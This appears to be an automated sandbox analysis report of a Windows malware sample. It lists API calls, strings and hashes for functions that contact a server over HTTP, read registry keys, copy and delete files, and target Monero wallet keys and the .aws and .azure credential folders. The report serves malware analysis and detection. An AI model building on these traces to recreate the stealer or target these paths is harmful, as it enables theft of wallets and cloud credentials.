Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 7c021ea8aefb2efc098d671d80afe652653e4dac5726cde0fb0d546587a5bf95
Instruction ID: 0253a5e0e0ffe6da10fe5cf0dad999da05fed24851390c024a9f61dd1f591ea3
Opcode Fuzzy Hash: 7c021ea8aefb2efc098d671d80afe652653e4dac5726cde0fb0d546587a5bf95
Instruction Fuzzy Hash: 1D1213B19101089BCB14FBA0DD96DFE7378BF64301F904168F60BA6091DF796E1ACB66

Function 001E5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
Part of subcall function 001E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001E59F8
StrCmpCA.SHLWAPI(?,0143E570), ref: 001E5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0143E550,00000000,?,01439B48,00000000,?,00201A1C), ref: 001E5E71
lstrlen.KERNEL32(00000000), ref: 001E5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 001E5E93
RtlAllocateHeap.NTDLL(00000000), ref: 001E5E9A
lstrlen.KERNEL32(00000000), ref: 001E5EAF
lstrlen.KERNEL32(00000000), ref: 001E5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001E5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 001E5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 001E5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 001E5F4C
InternetCloseHandle.WININET(00000000), ref: 001E5FB0
InternetCloseHandle.WININET(00000000), ref: 001E5FBD
HttpOpenRequestA.WININET(00000000,0143E460,?,0143DB20,00000000,00000000,00400100,00000000), ref: 001E5BF8

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

InternetCloseHandle.WININET(00000000), ref: 001E5FC7

Strings

------, xrefs: 001E5D4C
------, xrefs: 001E5C0B
", xrefs: 001E5CD5
", xrefs: 001E5E16
------, xrefs: 001E5A96

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 38d5e5d8780a33e1efeb26f2864a9ba7f59674c736b64638cc29ef3c89139343
Instruction ID: 35b46795b3d894d68f90d7936c6588708c0c15042232c14fa2e097c165fb0244
Opcode Fuzzy Hash: 38d5e5d8780a33e1efeb26f2864a9ba7f59674c736b64638cc29ef3c89139343
Instruction Fuzzy Hash: 821200B192011CABDB15EBA0DC95FEE7378BF24741F8041A9B20E62091DF746B4ACF65

Function 001ECEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F8B60: GetSystemTime.KERNEL32(00200E1A,01439C98,002005AE,?,?,001E13F9,?,0000001A,00200E1A,00000000,?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001F8B86

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001ECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 001ED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 001ED0CE
lstrcat.KERNEL32(?,00000000), ref: 001ED208
lstrcat.KERNEL32(?,00201478), ref: 001ED217
lstrcat.KERNEL32(?,00000000), ref: 001ED22A
lstrcat.KERNEL32(?,0020147C), ref: 001ED239
lstrcat.KERNEL32(?,00000000), ref: 001ED24C
lstrcat.KERNEL32(?,00201480), ref: 001ED25B
lstrcat.KERNEL32(?,00000000), ref: 001ED26E
lstrcat.KERNEL32(?,00201484), ref: 001ED27D
lstrcat.KERNEL32(?,00000000), ref: 001ED290
lstrcat.KERNEL32(?,00201488), ref: 001ED29F
lstrcat.KERNEL32(?,00000000), ref: 001ED2B2
lstrcat.KERNEL32(?,0020148C), ref: 001ED2C1
lstrcat.KERNEL32(?,00000000), ref: 001ED2D4
lstrcat.KERNEL32(?,00201490), ref: 001ED2E3

Part of subcall function 001FA820: lstrlen.KERNEL32(001E4F05,?,?,001E4F05,00200DDE), ref: 001FA82B
Part of subcall function 001FA820: lstrcpy.KERNEL32(00200DDE,00000000), ref: 001FA885

lstrlen.KERNEL32(?), ref: 001ED32A
lstrlen.KERNEL32(?), ref: 001ED339

Part of subcall function 001FAA70: StrCmpCA.SHLWAPI(01438830,001EA7A7,?,001EA7A7,01438830), ref: 001FAA8F

DeleteFileA.KERNEL32(00000000), ref: 001ED3B4

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 402baaa0271cce43f013781dfb26b7038238005abf17c2d1dbf9d1e0c2c70835
Instruction ID: 60a0ffe1d387138b56f27e378a3ac3aac2fd3a12d710e3e6c665b093b8744899
Opcode Fuzzy Hash: 402baaa0271cce43f013781dfb26b7038238005abf17c2d1dbf9d1e0c2c70835
Instruction Fuzzy Hash: 1CE1F6B19101099BCB14FBA0DD95EFE7378BF24301F904164F60BA7091DF79AA1ACB66

Function 001F8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

RegOpenKeyExA.KERNEL32(00000000,0143ACA0,00000000,00020019,00000000,002005B6), ref: 001F83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001F8426
wsprintfA.USER32 ref: 001F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 001F847B
RegCloseKey.ADVAPI32(00000000), ref: 001F848C
RegCloseKey.ADVAPI32(00000000), ref: 001F8499

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Strings

%s\%s, xrefs: 001F844D
?, xrefs: 001F837A
- , xrefs: 001F85A3

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 7ce31fa08ae6abba94ecea06cb1b845970f4d89da8e4c94daae10ec879e295d5
Instruction ID: 13260811e96559e0dfdc50278a4d0d2bf6288eec155ffa2da71b3740cfe5fd8f
Opcode Fuzzy Hash: 7ce31fa08ae6abba94ecea06cb1b845970f4d89da8e4c94daae10ec879e295d5
Instruction Fuzzy Hash: 92812FB191011CABDB24DF50CC91FEA77B8FF58700F408298E609A6190DF75AB86CF95

Function 001E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
Part of subcall function 001E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

InternetOpenA.WININET(00200DFE,00000001,00000000,00000000,00000000), ref: 001E62E1
StrCmpCA.SHLWAPI(?,0143E570), ref: 001E6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E6335
HttpOpenRequestA.WININET(00000000,GET,?,0143DB20,00000000,00000000,00400100,00000000), ref: 001E6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001E63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001E63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 001E63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001E646D
InternetCloseHandle.WININET(00000000), ref: 001E64EF
InternetCloseHandle.WININET(00000000), ref: 001E64F9
InternetCloseHandle.WININET(00000000), ref: 001E6503

Strings

ERROR, xrefs: 001E6407
ERROR, xrefs: 001E64C9
GET, xrefs: 001E637C

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: dbc44691cd0b91e6f17ee6286704080c7a5bc40dcc426e90affd32cb195b3c39
Instruction ID: 8788d53b8f5a13ad08af5bf6a25ecb0883f5cf5164c849fb3d63ee83c9580713
Opcode Fuzzy Hash: dbc44691cd0b91e6f17ee6286704080c7a5bc40dcc426e90affd32cb195b3c39
Instruction Fuzzy Hash: E3714D71A00258EBDB24EBA0CC49FEE7774BF54740F9081A8F60A6B1D4DBB46A85CF51

Function 001F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA820: lstrlen.KERNEL32(001E4F05,?,?,001E4F05,00200DDE), ref: 001FA82B
Part of subcall function 001FA820: lstrcpy.KERNEL32(00200DDE,00000000), ref: 001FA885

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001F5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001F56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001F5857

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001F51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001F5228

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001F5318
Part of subcall function 001F52C0: lstrlen.KERNEL32(00000000), ref: 001F532F
Part of subcall function 001F52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 001F5364
Part of subcall function 001F52C0: lstrlen.KERNEL32(00000000), ref: 001F5383
Part of subcall function 001F52C0: lstrlen.KERNEL32(00000000), ref: 001F53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001F578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001F5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001F5A0C
Sleep.KERNEL32(0000EA60), ref: 001F5A1B

Strings

ERROR, xrefs: 001F5636
ERROR, xrefs: 001F5693
ERROR, xrefs: 001F577D
ERROR, xrefs: 001F5932
ERROR, xrefs: 001F5849
ERROR, xrefs: 001F59FE

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 486c05dd2dd298c505427e83ba43560891429233ebc0f61cb3b9ee697d62bee2
Instruction ID: 33de31cd32b7add4d9a1f3c6fba892c682d2f650fda0a89b8f708375528a26bc
Opcode Fuzzy Hash: 486c05dd2dd298c505427e83ba43560891429233ebc0f61cb3b9ee697d62bee2
Instruction Fuzzy Hash: 0BE144B191050CABCB14FBA0DC56EFD7379AF64341F808128B70A56095EF786B1ACB92

Function 001F4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 001F4DCD

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F492C
Part of subcall function 001F4910: FindFirstFileA.KERNEL32(?,?), ref: 001F4943

lstrcat.KERNEL32(?,00000000), ref: 001F4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 001F4E59

Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FDC), ref: 001F4971
Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FE0), ref: 001F4987
Part of subcall function 001F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 001F4B7D
Part of subcall function 001F4910: FindClose.KERNEL32(000000FF), ref: 001F4B92

lstrcat.KERNEL32(?,00000000), ref: 001F4EC8
